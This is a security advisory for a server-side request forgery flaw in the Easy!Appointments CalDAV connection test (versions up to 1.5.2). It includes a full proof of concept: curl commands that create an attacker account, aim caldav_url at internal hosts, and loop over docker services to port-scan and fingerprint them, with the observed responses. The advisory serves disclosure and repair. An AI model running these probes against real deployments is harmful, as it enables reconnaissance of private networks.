Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network
Summary
Caldav::connect_to_server at application/controllers/Caldav.php:60 hands the request's caldav_url to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON message field (Caldav.php:74-78), so the SSRF is semi-blind.
Preconditions
- Backend login on the target instance. Non-admin attackers supply their own
provider_idand pass the per-row check atCaldav.php:52; admins can target any row. - Default deployment per the project's own
docker-compose.yml, which putsmysql,mailpit,phpmyadmin,baikal,openldap,phpldapadmin, andswagger-uion the same docker network asphp-fpm.
Details
// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
try {
$provider_id = request('provider_id');
$user_id = session('user_id');
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
throw new RuntimeException('You do not have the required permissions for this task.');
}
$caldav_url = request('caldav_url'); // (*) attacker-controlled
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink
...
} catch (GuzzleException | InvalidArgumentException $e) {
json_response([
'success' => false,
'message' => $e->getMessage(), // (*) upstream body reflected
]);
}
}
The per-row check at line 52 only constrains which provider record the caller may write to; it does not constrain where the outbound request lands. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.
When Guzzle raises RequestException, its getMessage() formats as Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.
Proof of concept
Setup
-
Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:
bashgit clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done -
Run the console installer. The seed sets administrator's password to the literal string
administrator(application/libraries/Instance.php:99):bashdocker compose exec -T php-fpm php index.php console install -
Log in as
administrator(the project's session cookie isea_session) and create an attacker provider. The defaultrequire_phone_number=1setting makesphone_numbermandatory:bashexport ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email]=mallory@x.test' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") -
Log in as the attacker into a dedicated cookie jar:
bashexport ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null
Exploit
-
The attacker probes the
nginxcontainer that fronts Easy!Appointments itself, hitting a 404 path. They pass their own$ATTACKER_IDso the row-ownership check atCaldav.php:52succeeds; the URL has nothing to do with the row:bashCSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://nginx/some/404/path" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x"Observed (verified on a fresh
docker compose up):{"success":false,"message":"Client error: \REPORT http://nginx/some/404/path/` resulted in a `404 Not Found` response:\n\n<!doctype html>\n<html lang="en" style="\n height: 100%;\n">\n<head>\n <meta charset="utf-8">\n <meta http-equiv="X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON. -
The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:
bashfor target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) printf '\n=== %s ===\n' "$target" curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://$target/" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" doneObserved:
mysql:3306returnscURL error 1: Received HTTP/0.9 when not allowed- port open, not HTTP.swagger-ui:8080returnsClient error: \REPORT http://swagger-ui:8080/` resulted in a `405 Not Allowed` response: <html>\r\n<head><title>405 Not Allowed</title>...- port open, HTTP, nginx fronts it.mailpit:8025andphpmyadmin(port 80) return{"success":true}- port open, HTTP, the CalDAVREPORTwas accepted without a 4xx.nonexistent.invalidreturnscURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.
Impact
- Confidentiality: Reaches arbitrary HTTP and HTTPS hosts reachable from the
php-fpmcontainer, including loopback, the docker network'smysql,mailpit,phpmyadmin,baikal,openldapservices, and any RFC1918 / link-local IP on the host network. - Confidentiality: Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON
messagefield, enough to fingerprint internal services and read short error pages, banners, or status documents.
Suggestions to fix
This has not been tested - it is illustrative only.
Reject non-http/https schemes and resolved private addresses before constructing the Guzzle client.
$caldav_url = request('caldav_url');
+
+ $scheme = parse_url($caldav_url, PHP_URL_SCHEME);
+ $host = parse_url($caldav_url, PHP_URL_HOST) ?: '';
+ $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);
+
+ if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host
+ || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ throw new InvalidArgumentException('CalDAV URL is not allowed.');
+ }
+
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);
Credit
Dredsen, 2026.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | alextselegidis/easyappointments | <= 1.5.2 | no fix |
References
- https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q
- https://nvd.nist.gov/vuln/detail/CVE-2026-52840
- https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510
- https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c
- https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9
- https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536
- https://github.com/alextselegidis/easyappointments
- https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-918- Platform
- Composer
- Package
alextselegidis/easyappointments- Disclosed
- 29.07.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-pm5p-7w5h-jm5q - CC BY 4.0
Vulnerability history: alextselegidis/easyappointments
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 20
- First → latest
- 03.2022 07.2026
- Without a fix
- 15
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 4
- Medium 9
- Low 4
Disclosures per year
- 2022: 2
- 2023: 7
- 2024: 0
- 2025: 4
- 2026: 7
-
Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.